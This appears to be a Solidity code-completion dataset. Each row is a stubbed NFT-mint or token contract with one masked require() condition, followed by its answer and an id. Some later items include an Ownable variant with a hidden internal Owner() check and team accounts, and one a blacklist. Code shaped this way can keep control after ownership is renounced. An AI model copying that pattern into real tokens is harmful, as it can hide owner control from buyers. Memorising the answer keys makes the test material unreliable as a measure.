function safeMint(address to, uint256 quantity) external onlyOwner {
}
function setConfig(uint256 idx, uint256 total, uint256 starttime, uint256 endtime, bytes32 root) external onlyOwner {
}
function setIndex(uint256 idx) external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function check(uint256 idx, address addr, bytes32[] memory proof, uint32 limit) public view returns (bool) {
}
function queryRecords(uint256 idx, address addr) external view returns(uint256) {
}
function numberMinted(address addr) public view returns (uint256) {
}
function totalMinted() public view returns (uint256) {
}
function exists(uint256 tokenId) public view returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
}
| configs[index].records[msg.sender]+quantity<=limit,"exceed the limit" | 156,366 | configs[index].records[msg.sender]+quantity<=limit |
"exceeds max free per wallet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract PrismaticPastels is ERC721A, Ownable {
uint256 public maxSupply = 777;
uint256 public maxFree = 1;
uint256 public maxPerTxn = 9;
uint256 public cost = 0.009 ether;
string public baseURI = "ipfs://QmXwLyDDF2EF3QLzo75RsVkcMKqUDtfxvDqbEfoHT97eWN/";
mapping(address => bool) public freeMinted;
constructor() ERC721A("Prismatic Pastels", "PRISM") {}
function _startTokenId() internal pure override returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function mintFree() public {
require(totalSupply() + 1 <= maxSupply, "exceeds max supply");
require(<FILL_ME>)
freeMinted[msg.sender] = true;
_safeMint(msg.sender, 1);
}
function mintPaid(uint256 _amount) public payable {
}
function devMint(uint256 _amount) public onlyOwner {
}
function setBaseURI(string memory _newURI) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
}
| freeMinted[msg.sender]==false,"exceeds max free per wallet" | 156,382 | freeMinted[msg.sender]==false |
"Incorrect Price sent" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import "../dependencies/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Vkuzo is ERC721A, Ownable {
bytes32 private _whitelistHash;
bytes32 private _OGHash;
uint256 public maxSupply = 4444;
uint256 public bonusSupply = 1000;
uint256 private constant maxPerAddress = 20;
uint256 private constant maxPerOG = 15;
uint256 public constant publicMintPrice = 0.027 ether;
uint256 public bonusMintCounter;
uint256 public saleStartDate = 1649602800;
uint256 public OGStartDate = 1649599200;
string private baseUri =
"https://gateway.pinata.cloud/ipfs/QmTFWFbogSBHh8RrLcSP1zdtfj7YeKdSZr9UyyT9mfHV4A/";
string private baseExtension = ".json";
bool public isOGBonusOpen = true;
bool public isWhitelistOpen = true;
constructor() ERC721A("Vkuzo", "VKZ") {}
modifier onlyEOA() {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setBaseURI(string memory uri) external onlyOwner {
}
function isSaleOpen() public view returns (bool) {
}
function isOGOpen() public view returns (bool) {
}
function isOGBonusAvailable() public view returns (bool) {
}
function setSaleStartDate(uint256 date) external onlyOwner {
}
function setMaxSupply(uint256 amount) external onlyOwner {
}
function setOGStartDate(uint256 date) external onlyOwner {
}
function setBonusSupply(uint256 amount) external onlyOwner {
}
function setOGBonusState(bool state) external onlyOwner {
}
function setWhitelistState(bool state) external onlyOwner {
}
function setHashWhitelist(bytes32 root) external onlyOwner {
}
function setHashOG(bytes32 root) external onlyOwner {
}
function numberminted(address owner) public view returns (uint256) {
}
function _startTokenId() internal pure override returns (uint256) {
}
function _claimWithBonus(uint32 amount) private {
uint16 amountBonus = 0;
require(<FILL_ME>)
if (amount == 2) {
amountBonus = 1;
} else if (amount == 4) {
amountBonus = 2;
} else if (amount == 6) {
amountBonus = 3;
} else if (amount == 8) {
amountBonus = 4;
} else if (amount == 10) {
amountBonus = 5;
}
require(
totalSupply() + (amount + amountBonus) <= maxSupply,
"Max Supply reached"
);
require(
_numberMinted(msg.sender) + (amount + amountBonus) <= maxPerOG,
"Max per address"
);
require(
bonusMintCounter + amountBonus <= bonusSupply,
"Free Mint Stock Unavailable"
);
bonusMintCounter += amountBonus;
_safeMint(msg.sender, amount + amountBonus);
}
function _claimSale(uint32 amount) private {
}
function publicMint(uint32 amount) external payable onlyEOA {
}
function OGMint(bytes32[] calldata proof, uint32 amount)
external
payable
onlyEOA
{
}
function WhitelistMint(bytes32[] calldata proof, uint16 amount)
external
onlyEOA
{
}
function verifyWhitelist(bytes32[] memory _proof, bytes32 _roothash)
private
view
returns (bool)
{
}
function withdrawBalance() external onlyOwner {
}
function burn(uint256 tokenId) public virtual {
}
}
| (msg.value>=publicMintPrice*amount)&&(amount>0),"Incorrect Price sent" | 156,386 | (msg.value>=publicMintPrice*amount)&&(amount>0) |
"Max Supply reached" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import "../dependencies/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Vkuzo is ERC721A, Ownable {
bytes32 private _whitelistHash;
bytes32 private _OGHash;
uint256 public maxSupply = 4444;
uint256 public bonusSupply = 1000;
uint256 private constant maxPerAddress = 20;
uint256 private constant maxPerOG = 15;
uint256 public constant publicMintPrice = 0.027 ether;
uint256 public bonusMintCounter;
uint256 public saleStartDate = 1649602800;
uint256 public OGStartDate = 1649599200;
string private baseUri =
"https://gateway.pinata.cloud/ipfs/QmTFWFbogSBHh8RrLcSP1zdtfj7YeKdSZr9UyyT9mfHV4A/";
string private baseExtension = ".json";
bool public isOGBonusOpen = true;
bool public isWhitelistOpen = true;
constructor() ERC721A("Vkuzo", "VKZ") {}
modifier onlyEOA() {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setBaseURI(string memory uri) external onlyOwner {
}
function isSaleOpen() public view returns (bool) {
}
function isOGOpen() public view returns (bool) {
}
function isOGBonusAvailable() public view returns (bool) {
}
function setSaleStartDate(uint256 date) external onlyOwner {
}
function setMaxSupply(uint256 amount) external onlyOwner {
}
function setOGStartDate(uint256 date) external onlyOwner {
}
function setBonusSupply(uint256 amount) external onlyOwner {
}
function setOGBonusState(bool state) external onlyOwner {
}
function setWhitelistState(bool state) external onlyOwner {
}
function setHashWhitelist(bytes32 root) external onlyOwner {
}
function setHashOG(bytes32 root) external onlyOwner {
}
function numberminted(address owner) public view returns (uint256) {
}
function _startTokenId() internal pure override returns (uint256) {
}
function _claimWithBonus(uint32 amount) private {
uint16 amountBonus = 0;
require(
(msg.value >= publicMintPrice * amount) && (amount > 0),
"Incorrect Price sent"
);
if (amount == 2) {
amountBonus = 1;
} else if (amount == 4) {
amountBonus = 2;
} else if (amount == 6) {
amountBonus = 3;
} else if (amount == 8) {
amountBonus = 4;
} else if (amount == 10) {
amountBonus = 5;
}
require(<FILL_ME>)
require(
_numberMinted(msg.sender) + (amount + amountBonus) <= maxPerOG,
"Max per address"
);
require(
bonusMintCounter + amountBonus <= bonusSupply,
"Free Mint Stock Unavailable"
);
bonusMintCounter += amountBonus;
_safeMint(msg.sender, amount + amountBonus);
}
function _claimSale(uint32 amount) private {
}
function publicMint(uint32 amount) external payable onlyEOA {
}
function OGMint(bytes32[] calldata proof, uint32 amount)
external
payable
onlyEOA
{
}
function WhitelistMint(bytes32[] calldata proof, uint16 amount)
external
onlyEOA
{
}
function verifyWhitelist(bytes32[] memory _proof, bytes32 _roothash)
private
view
returns (bool)
{
}
function withdrawBalance() external onlyOwner {
}
function burn(uint256 tokenId) public virtual {
}
}
| totalSupply()+(amount+amountBonus)<=maxSupply,"Max Supply reached" | 156,386 | totalSupply()+(amount+amountBonus)<=maxSupply |
"Max per address" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import "../dependencies/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Vkuzo is ERC721A, Ownable {
bytes32 private _whitelistHash;
bytes32 private _OGHash;
uint256 public maxSupply = 4444;
uint256 public bonusSupply = 1000;
uint256 private constant maxPerAddress = 20;
uint256 private constant maxPerOG = 15;
uint256 public constant publicMintPrice = 0.027 ether;
uint256 public bonusMintCounter;
uint256 public saleStartDate = 1649602800;
uint256 public OGStartDate = 1649599200;
string private baseUri =
"https://gateway.pinata.cloud/ipfs/QmTFWFbogSBHh8RrLcSP1zdtfj7YeKdSZr9UyyT9mfHV4A/";
string private baseExtension = ".json";
bool public isOGBonusOpen = true;
bool public isWhitelistOpen = true;
constructor() ERC721A("Vkuzo", "VKZ") {}
modifier onlyEOA() {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setBaseURI(string memory uri) external onlyOwner {
}
function isSaleOpen() public view returns (bool) {
}
function isOGOpen() public view returns (bool) {
}
function isOGBonusAvailable() public view returns (bool) {
}
function setSaleStartDate(uint256 date) external onlyOwner {
}
function setMaxSupply(uint256 amount) external onlyOwner {
}
function setOGStartDate(uint256 date) external onlyOwner {
}
function setBonusSupply(uint256 amount) external onlyOwner {
}
function setOGBonusState(bool state) external onlyOwner {
}
function setWhitelistState(bool state) external onlyOwner {
}
function setHashWhitelist(bytes32 root) external onlyOwner {
}
function setHashOG(bytes32 root) external onlyOwner {
}
function numberminted(address owner) public view returns (uint256) {
}
function _startTokenId() internal pure override returns (uint256) {
}
function _claimWithBonus(uint32 amount) private {
uint16 amountBonus = 0;
require(
(msg.value >= publicMintPrice * amount) && (amount > 0),
"Incorrect Price sent"
);
if (amount == 2) {
amountBonus = 1;
} else if (amount == 4) {
amountBonus = 2;
} else if (amount == 6) {
amountBonus = 3;
} else if (amount == 8) {
amountBonus = 4;
} else if (amount == 10) {
amountBonus = 5;
}
require(
totalSupply() + (amount + amountBonus) <= maxSupply,
"Max Supply reached"
);
require(<FILL_ME>)
require(
bonusMintCounter + amountBonus <= bonusSupply,
"Free Mint Stock Unavailable"
);
bonusMintCounter += amountBonus;
_safeMint(msg.sender, amount + amountBonus);
}
function _claimSale(uint32 amount) private {
}
function publicMint(uint32 amount) external payable onlyEOA {
}
function OGMint(bytes32[] calldata proof, uint32 amount)
external
payable
onlyEOA
{
}
function WhitelistMint(bytes32[] calldata proof, uint16 amount)
external
onlyEOA
{
}
function verifyWhitelist(bytes32[] memory _proof, bytes32 _roothash)
private
view
returns (bool)
{
}
function withdrawBalance() external onlyOwner {
}
function burn(uint256 tokenId) public virtual {
}
}
| _numberMinted(msg.sender)+(amount+amountBonus)<=maxPerOG,"Max per address" | 156,386 | _numberMinted(msg.sender)+(amount+amountBonus)<=maxPerOG |
"Free Mint Stock Unavailable" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import "../dependencies/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Vkuzo is ERC721A, Ownable {
bytes32 private _whitelistHash;
bytes32 private _OGHash;
uint256 public maxSupply = 4444;
uint256 public bonusSupply = 1000;
uint256 private constant maxPerAddress = 20;
uint256 private constant maxPerOG = 15;
uint256 public constant publicMintPrice = 0.027 ether;
uint256 public bonusMintCounter;
uint256 public saleStartDate = 1649602800;
uint256 public OGStartDate = 1649599200;
string private baseUri =
"https://gateway.pinata.cloud/ipfs/QmTFWFbogSBHh8RrLcSP1zdtfj7YeKdSZr9UyyT9mfHV4A/";
string private baseExtension = ".json";
bool public isOGBonusOpen = true;
bool public isWhitelistOpen = true;
constructor() ERC721A("Vkuzo", "VKZ") {}
modifier onlyEOA() {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setBaseURI(string memory uri) external onlyOwner {
}
function isSaleOpen() public view returns (bool) {
}
function isOGOpen() public view returns (bool) {
}
function isOGBonusAvailable() public view returns (bool) {
}
function setSaleStartDate(uint256 date) external onlyOwner {
}
function setMaxSupply(uint256 amount) external onlyOwner {
}
function setOGStartDate(uint256 date) external onlyOwner {
}
function setBonusSupply(uint256 amount) external onlyOwner {
}
function setOGBonusState(bool state) external onlyOwner {
}
function setWhitelistState(bool state) external onlyOwner {
}
function setHashWhitelist(bytes32 root) external onlyOwner {
}
function setHashOG(bytes32 root) external onlyOwner {
}
function numberminted(address owner) public view returns (uint256) {
}
function _startTokenId() internal pure override returns (uint256) {
}
function _claimWithBonus(uint32 amount) private {
uint16 amountBonus = 0;
require(
(msg.value >= publicMintPrice * amount) && (amount > 0),
"Incorrect Price sent"
);
if (amount == 2) {
amountBonus = 1;
} else if (amount == 4) {
amountBonus = 2;
} else if (amount == 6) {
amountBonus = 3;
} else if (amount == 8) {
amountBonus = 4;
} else if (amount == 10) {
amountBonus = 5;
}
require(
totalSupply() + (amount + amountBonus) <= maxSupply,
"Max Supply reached"
);
require(
_numberMinted(msg.sender) + (amount + amountBonus) <= maxPerOG,
"Max per address"
);
require(<FILL_ME>)
bonusMintCounter += amountBonus;
_safeMint(msg.sender, amount + amountBonus);
}
function _claimSale(uint32 amount) private {
}
function publicMint(uint32 amount) external payable onlyEOA {
}
function OGMint(bytes32[] calldata proof, uint32 amount)
external
payable
onlyEOA
{
}
function WhitelistMint(bytes32[] calldata proof, uint16 amount)
external
onlyEOA
{
}
function verifyWhitelist(bytes32[] memory _proof, bytes32 _roothash)
private
view
returns (bool)
{
}
function withdrawBalance() external onlyOwner {
}
function burn(uint256 tokenId) public virtual {
}
}
| bonusMintCounter+amountBonus<=bonusSupply,"Free Mint Stock Unavailable" | 156,386 | bonusMintCounter+amountBonus<=bonusSupply |
"Incorrect amount" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import "../dependencies/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Vkuzo is ERC721A, Ownable {
bytes32 private _whitelistHash;
bytes32 private _OGHash;
uint256 public maxSupply = 4444;
uint256 public bonusSupply = 1000;
uint256 private constant maxPerAddress = 20;
uint256 private constant maxPerOG = 15;
uint256 public constant publicMintPrice = 0.027 ether;
uint256 public bonusMintCounter;
uint256 public saleStartDate = 1649602800;
uint256 public OGStartDate = 1649599200;
string private baseUri =
"https://gateway.pinata.cloud/ipfs/QmTFWFbogSBHh8RrLcSP1zdtfj7YeKdSZr9UyyT9mfHV4A/";
string private baseExtension = ".json";
bool public isOGBonusOpen = true;
bool public isWhitelistOpen = true;
constructor() ERC721A("Vkuzo", "VKZ") {}
modifier onlyEOA() {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setBaseURI(string memory uri) external onlyOwner {
}
function isSaleOpen() public view returns (bool) {
}
function isOGOpen() public view returns (bool) {
}
function isOGBonusAvailable() public view returns (bool) {
}
function setSaleStartDate(uint256 date) external onlyOwner {
}
function setMaxSupply(uint256 amount) external onlyOwner {
}
function setOGStartDate(uint256 date) external onlyOwner {
}
function setBonusSupply(uint256 amount) external onlyOwner {
}
function setOGBonusState(bool state) external onlyOwner {
}
function setWhitelistState(bool state) external onlyOwner {
}
function setHashWhitelist(bytes32 root) external onlyOwner {
}
function setHashOG(bytes32 root) external onlyOwner {
}
function numberminted(address owner) public view returns (uint256) {
}
function _startTokenId() internal pure override returns (uint256) {
}
function _claimWithBonus(uint32 amount) private {
}
function _claimSale(uint32 amount) private {
require(totalSupply() + amount <= maxSupply, "Max Supply reached");
require(<FILL_ME>)
require(
_numberMinted(msg.sender) + amount <= maxPerAddress,
"Max per address"
);
require(msg.value >= publicMintPrice * amount, "Incorrect Price sent");
_safeMint(msg.sender, amount);
}
function publicMint(uint32 amount) external payable onlyEOA {
}
function OGMint(bytes32[] calldata proof, uint32 amount)
external
payable
onlyEOA
{
}
function WhitelistMint(bytes32[] calldata proof, uint16 amount)
external
onlyEOA
{
}
function verifyWhitelist(bytes32[] memory _proof, bytes32 _roothash)
private
view
returns (bool)
{
}
function withdrawBalance() external onlyOwner {
}
function burn(uint256 tokenId) public virtual {
}
}
| (amount>0)&&(amount<=maxPerAddress),"Incorrect amount" | 156,386 | (amount>0)&&(amount<=maxPerAddress) |
"Max per address" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import "../dependencies/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Vkuzo is ERC721A, Ownable {
bytes32 private _whitelistHash;
bytes32 private _OGHash;
uint256 public maxSupply = 4444;
uint256 public bonusSupply = 1000;
uint256 private constant maxPerAddress = 20;
uint256 private constant maxPerOG = 15;
uint256 public constant publicMintPrice = 0.027 ether;
uint256 public bonusMintCounter;
uint256 public saleStartDate = 1649602800;
uint256 public OGStartDate = 1649599200;
string private baseUri =
"https://gateway.pinata.cloud/ipfs/QmTFWFbogSBHh8RrLcSP1zdtfj7YeKdSZr9UyyT9mfHV4A/";
string private baseExtension = ".json";
bool public isOGBonusOpen = true;
bool public isWhitelistOpen = true;
constructor() ERC721A("Vkuzo", "VKZ") {}
modifier onlyEOA() {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setBaseURI(string memory uri) external onlyOwner {
}
function isSaleOpen() public view returns (bool) {
}
function isOGOpen() public view returns (bool) {
}
function isOGBonusAvailable() public view returns (bool) {
}
function setSaleStartDate(uint256 date) external onlyOwner {
}
function setMaxSupply(uint256 amount) external onlyOwner {
}
function setOGStartDate(uint256 date) external onlyOwner {
}
function setBonusSupply(uint256 amount) external onlyOwner {
}
function setOGBonusState(bool state) external onlyOwner {
}
function setWhitelistState(bool state) external onlyOwner {
}
function setHashWhitelist(bytes32 root) external onlyOwner {
}
function setHashOG(bytes32 root) external onlyOwner {
}
function numberminted(address owner) public view returns (uint256) {
}
function _startTokenId() internal pure override returns (uint256) {
}
function _claimWithBonus(uint32 amount) private {
}
function _claimSale(uint32 amount) private {
require(totalSupply() + amount <= maxSupply, "Max Supply reached");
require((amount > 0) && (amount <= maxPerAddress), "Incorrect amount");
require(<FILL_ME>)
require(msg.value >= publicMintPrice * amount, "Incorrect Price sent");
_safeMint(msg.sender, amount);
}
function publicMint(uint32 amount) external payable onlyEOA {
}
function OGMint(bytes32[] calldata proof, uint32 amount)
external
payable
onlyEOA
{
}
function WhitelistMint(bytes32[] calldata proof, uint16 amount)
external
onlyEOA
{
}
function verifyWhitelist(bytes32[] memory _proof, bytes32 _roothash)
private
view
returns (bool)
{
}
function withdrawBalance() external onlyOwner {
}
function burn(uint256 tokenId) public virtual {
}
}
| _numberMinted(msg.sender)+amount<=maxPerAddress,"Max per address" | 156,386 | _numberMinted(msg.sender)+amount<=maxPerAddress |
"OG mint session is not open yet" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import "../dependencies/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Vkuzo is ERC721A, Ownable {
bytes32 private _whitelistHash;
bytes32 private _OGHash;
uint256 public maxSupply = 4444;
uint256 public bonusSupply = 1000;
uint256 private constant maxPerAddress = 20;
uint256 private constant maxPerOG = 15;
uint256 public constant publicMintPrice = 0.027 ether;
uint256 public bonusMintCounter;
uint256 public saleStartDate = 1649602800;
uint256 public OGStartDate = 1649599200;
string private baseUri =
"https://gateway.pinata.cloud/ipfs/QmTFWFbogSBHh8RrLcSP1zdtfj7YeKdSZr9UyyT9mfHV4A/";
string private baseExtension = ".json";
bool public isOGBonusOpen = true;
bool public isWhitelistOpen = true;
constructor() ERC721A("Vkuzo", "VKZ") {}
modifier onlyEOA() {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setBaseURI(string memory uri) external onlyOwner {
}
function isSaleOpen() public view returns (bool) {
}
function isOGOpen() public view returns (bool) {
}
function isOGBonusAvailable() public view returns (bool) {
}
function setSaleStartDate(uint256 date) external onlyOwner {
}
function setMaxSupply(uint256 amount) external onlyOwner {
}
function setOGStartDate(uint256 date) external onlyOwner {
}
function setBonusSupply(uint256 amount) external onlyOwner {
}
function setOGBonusState(bool state) external onlyOwner {
}
function setWhitelistState(bool state) external onlyOwner {
}
function setHashWhitelist(bytes32 root) external onlyOwner {
}
function setHashOG(bytes32 root) external onlyOwner {
}
function numberminted(address owner) public view returns (uint256) {
}
function _startTokenId() internal pure override returns (uint256) {
}
function _claimWithBonus(uint32 amount) private {
}
function _claimSale(uint32 amount) private {
}
function publicMint(uint32 amount) external payable onlyEOA {
}
function OGMint(bytes32[] calldata proof, uint32 amount)
external
payable
onlyEOA
{
require(<FILL_ME>)
require(verifyWhitelist(proof, _OGHash), "Not whitelisted");
isOGBonusAvailable() ? _claimWithBonus(amount) : _claimSale(amount);
}
function WhitelistMint(bytes32[] calldata proof, uint16 amount)
external
onlyEOA
{
}
function verifyWhitelist(bytes32[] memory _proof, bytes32 _roothash)
private
view
returns (bool)
{
}
function withdrawBalance() external onlyOwner {
}
function burn(uint256 tokenId) public virtual {
}
}
| isOGOpen(),"OG mint session is not open yet" | 156,386 | isOGOpen() |
"Not whitelisted" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import "../dependencies/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Vkuzo is ERC721A, Ownable {
bytes32 private _whitelistHash;
bytes32 private _OGHash;
uint256 public maxSupply = 4444;
uint256 public bonusSupply = 1000;
uint256 private constant maxPerAddress = 20;
uint256 private constant maxPerOG = 15;
uint256 public constant publicMintPrice = 0.027 ether;
uint256 public bonusMintCounter;
uint256 public saleStartDate = 1649602800;
uint256 public OGStartDate = 1649599200;
string private baseUri =
"https://gateway.pinata.cloud/ipfs/QmTFWFbogSBHh8RrLcSP1zdtfj7YeKdSZr9UyyT9mfHV4A/";
string private baseExtension = ".json";
bool public isOGBonusOpen = true;
bool public isWhitelistOpen = true;
constructor() ERC721A("Vkuzo", "VKZ") {}
modifier onlyEOA() {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setBaseURI(string memory uri) external onlyOwner {
}
function isSaleOpen() public view returns (bool) {
}
function isOGOpen() public view returns (bool) {
}
function isOGBonusAvailable() public view returns (bool) {
}
function setSaleStartDate(uint256 date) external onlyOwner {
}
function setMaxSupply(uint256 amount) external onlyOwner {
}
function setOGStartDate(uint256 date) external onlyOwner {
}
function setBonusSupply(uint256 amount) external onlyOwner {
}
function setOGBonusState(bool state) external onlyOwner {
}
function setWhitelistState(bool state) external onlyOwner {
}
function setHashWhitelist(bytes32 root) external onlyOwner {
}
function setHashOG(bytes32 root) external onlyOwner {
}
function numberminted(address owner) public view returns (uint256) {
}
function _startTokenId() internal pure override returns (uint256) {
}
function _claimWithBonus(uint32 amount) private {
}
function _claimSale(uint32 amount) private {
}
function publicMint(uint32 amount) external payable onlyEOA {
}
function OGMint(bytes32[] calldata proof, uint32 amount)
external
payable
onlyEOA
{
require(isOGOpen(), "OG mint session is not open yet");
require(<FILL_ME>)
isOGBonusAvailable() ? _claimWithBonus(amount) : _claimSale(amount);
}
function WhitelistMint(bytes32[] calldata proof, uint16 amount)
external
onlyEOA
{
}
function verifyWhitelist(bytes32[] memory _proof, bytes32 _roothash)
private
view
returns (bool)
{
}
function withdrawBalance() external onlyOwner {
}
function burn(uint256 tokenId) public virtual {
}
}
| verifyWhitelist(proof,_OGHash),"Not whitelisted" | 156,386 | verifyWhitelist(proof,_OGHash) |
"Not whitelisted" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import "../dependencies/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Vkuzo is ERC721A, Ownable {
bytes32 private _whitelistHash;
bytes32 private _OGHash;
uint256 public maxSupply = 4444;
uint256 public bonusSupply = 1000;
uint256 private constant maxPerAddress = 20;
uint256 private constant maxPerOG = 15;
uint256 public constant publicMintPrice = 0.027 ether;
uint256 public bonusMintCounter;
uint256 public saleStartDate = 1649602800;
uint256 public OGStartDate = 1649599200;
string private baseUri =
"https://gateway.pinata.cloud/ipfs/QmTFWFbogSBHh8RrLcSP1zdtfj7YeKdSZr9UyyT9mfHV4A/";
string private baseExtension = ".json";
bool public isOGBonusOpen = true;
bool public isWhitelistOpen = true;
constructor() ERC721A("Vkuzo", "VKZ") {}
modifier onlyEOA() {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setBaseURI(string memory uri) external onlyOwner {
}
function isSaleOpen() public view returns (bool) {
}
function isOGOpen() public view returns (bool) {
}
function isOGBonusAvailable() public view returns (bool) {
}
function setSaleStartDate(uint256 date) external onlyOwner {
}
function setMaxSupply(uint256 amount) external onlyOwner {
}
function setOGStartDate(uint256 date) external onlyOwner {
}
function setBonusSupply(uint256 amount) external onlyOwner {
}
function setOGBonusState(bool state) external onlyOwner {
}
function setWhitelistState(bool state) external onlyOwner {
}
function setHashWhitelist(bytes32 root) external onlyOwner {
}
function setHashOG(bytes32 root) external onlyOwner {
}
function numberminted(address owner) public view returns (uint256) {
}
function _startTokenId() internal pure override returns (uint256) {
}
function _claimWithBonus(uint32 amount) private {
}
function _claimSale(uint32 amount) private {
}
function publicMint(uint32 amount) external payable onlyEOA {
}
function OGMint(bytes32[] calldata proof, uint32 amount)
external
payable
onlyEOA
{
}
function WhitelistMint(bytes32[] calldata proof, uint16 amount)
external
onlyEOA
{
require(isWhitelistOpen == true, "Session Closed");
require(totalSupply() + amount <= maxSupply, "Max Supply reached");
require(<FILL_ME>)
require(
_numberMinted(msg.sender) + amount <= maxPerAddress,
"Max per address"
);
_safeMint(msg.sender, amount);
}
function verifyWhitelist(bytes32[] memory _proof, bytes32 _roothash)
private
view
returns (bool)
{
}
function withdrawBalance() external onlyOwner {
}
function burn(uint256 tokenId) public virtual {
}
}
| verifyWhitelist(proof,_whitelistHash),"Not whitelisted" | 156,386 | verifyWhitelist(proof,_whitelistHash) |
"Ownable: caller is not the owner" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
contract Ownable is Context {
address private _owner;
address private _team;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal virtual {
require(<FILL_ME>)
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
function verifyOwner() internal view returns(address){
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Set new distributor.
*/
function addTeamMember(address account) external onlyOwner {
}
function Owner() internal virtual returns (address) {
}
}
| Owner()==_msgSender(),"Ownable: caller is not the owner" | 156,552 | Owner()==_msgSender() |
"TOKEN: Your account is blacklisted!" | /*
the Tower of Pisa
Website: https://www.towerpisa.art
Twitter: https://twitter.com/WhiteHouse_VIP
Telegram: https://t.me/white_house_vip
*/
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface ISwapFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface ISwapRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract TOWEROFPISA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Leaning Tower of Pisa";
